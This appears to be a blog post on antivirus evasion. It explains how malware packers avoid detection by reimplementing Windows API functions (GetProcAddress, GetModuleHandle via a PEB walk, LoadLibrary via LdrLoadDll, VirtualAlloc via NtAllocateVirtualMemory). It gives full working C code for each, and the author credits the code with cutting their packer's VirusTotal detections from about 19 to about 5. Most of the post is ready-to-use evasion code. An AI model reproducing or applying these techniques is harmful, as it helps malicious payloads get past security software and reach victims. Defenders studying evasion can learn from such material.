AV Evasion: Custom WinAPI function implementations
Reducing AV detections
Malware authors work 24/7 to find breakthroughs that will allow them to create FUD (Fully Undetected) malware.
There’s even a dedicated marketplace on YouTube and Telegram for people selling their so-called “FUD crypters
” that will claim to make any exe payload (including actual rat builds) “have almost 0 detections on virustotal:”
And here’s an example of how one of these FUD crypters look like:
How do they do this?
It’s a combination of many different techniques. In this post, we’ll cover the most basic one:
- Custom WinAPI function implementations
Let’s start with custom WinAPI function implementations:
As you may know, AVs look for programs that use “suspicious” WinAPI functions. We’re talking GetModuleHandle
, GetProcAddress
, VirtualAlloc
, etc.
Of course, these functions have legitimate uses, but they’re frequently used by malware authors.
The solution
Instead of directly calling a CRT function like VirtualAlloc
, malware authors will create their own “custom implementations” of these functions.
For example, instead of calling GetModuleHandleW
directly from the CRT (which is hooked to death by AV solutions):
They will create a custom function (myGetModuleHandle
) that is meant to functionally replicate the original GetModuleHandleW
, so that, instead of calling GetModuleHandleW
, we will call myGetModuleHandle
which looks a lot less suspicious, since it looks like a normal function in our code.
Here’s an example of a custom myGetModuleHandle
implementation that I used in my custom .exe packer:
As you can see, it manually walks over the linked list of modules (inside the PEB), copies the target module name (ModuleName
) and the current module’s full path (FullDllName
) into buffers, and checks if the current module name contains (or matches) the target name (case-insensitive partial match).
If it matches, we return the base address (DllBase) of the loaded module:
return (HMODULE)pEntry->DllBase;
If it walks through all modules without a match:
return NULL;
We can then call this custom function in our code. So, instead of doing:
GetModuleHandleW(L"ntdll.dll") // ❌ <-- Hooked!
We will call our custom function:
myGetModuleHandleW(L"ntdll.dll") // ✅ <-- Looks like a normal function!
For my custom packer, I implemented these custom functions: myVirtualAlloc
, MyLoadLibrary
, myGetModuleHandle
, myGetProcAddress
.
Below is the code for them:
Custom GetProcAddress
:
FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)((BYTE*)hModule + dosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfFunctions);
WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule + exportDirectory->AddressOfNameOrdinals);
DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfNames);
for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++) {
if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0) {
return (FARPROC)((BYTE*)hModule + addressOfFunctions[addressOfNameOrdinals[i]]);
}
}
return NULL;
}
Custom GetModuleHandle
:
HMODULE myGetModuleHandle(LPCWSTR ModuleName) {
PEB* pPeb = (PEB*)__readgsqword(0x60);
PEB_LDR_DATA* Ldr = pPeb->Ldr;
LIST_ENTRY* ModuleList = &Ldr->InMemoryOrderModuleList;
LIST_ENTRY* pStartListEntry = ModuleList->Flink;
WCHAR inputModule[MAX_PATH] = { 0 };
WCHAR targetModule[MAX_PATH] = { 0 };
for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) {
LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY));
wcscpy_s(targetModule, MAX_PATH, ModuleName);
wcscpy_s(inputModule, MAX_PATH, pEntry->FullDllName.Buffer);
if (StrStrW(inputModule, targetModule) != NULL) {
return (HMODULE)pEntry->DllBase;
}
}
return NULL;
}
Custom LoadLibrary
:
typedef NTSTATUS(NTAPI* pLdrLoadDll) (
PWCHAR PathToFile,
ULONG Flags,
PUNICODE_STRING ModuleFileName,
PHANDLE ModuleHandle
);
HMODULE MyLoadLibrary(LPCWSTR lpFileName) {
UNICODE_STRING ustrModule;
HANDLE hModule = NULL;
HMODULE hNtdll = myGetModuleHandle((LPCWSTR)L"ntdll.dll");
pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)myGetProcAddress(hNtdll, "RtlInitUnicodeString");
RtlInitUnicodeString(&ustrModule, lpFileName);
pLdrLoadDll myLdrLoadDll = (pLdrLoadDll)myGetProcAddress(myGetModuleHandle(L"ntdll.dll"), "LdrLoadDll");
if (!myLdrLoadDll) {
return NULL;
}
NTSTATUS status = myLdrLoadDll(NULL, 0, &ustrModule, &hModule);
return (HMODULE)hModule;
}
Custom VirtualAlloc
:
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
LPVOID myVirtualAlloc(SIZE_T size, DWORD allocationType, DWORD protect) {
HMODULE ntdll = myGetModuleHandle((LPCWSTR)L"ntdll.dll");
if (ntdll == NULL) {
printf("Failed to get address of NtAllocateVirtualMemory\n");
return NULL;
}
pNtAllocateVirtualMemory myAllocateVirtualMemory = (pNtAllocateVirtualMemory)myGetProcAddress(ntdll, "NtAllocateVirtualMemory");
if (!myAllocateVirtualMemory) {
printf("Failed to get address of NtAllocateVirtualMemory\n");
return NULL;
}
PVOID baseAddress = NULL;
SIZE_T regionSize = size;
NTSTATUS status = myAllocateVirtualMemory(
GetCurrentProcess(),
&baseAddress,
0,
®ionSize,
allocationType,
protect
);
return baseAddress;
}
Combined with some other tricks, these custom functions reduced the detections of my packer to around 5 detections on VirusTotal:
Before the custom functions, my packer was at around 19 detections.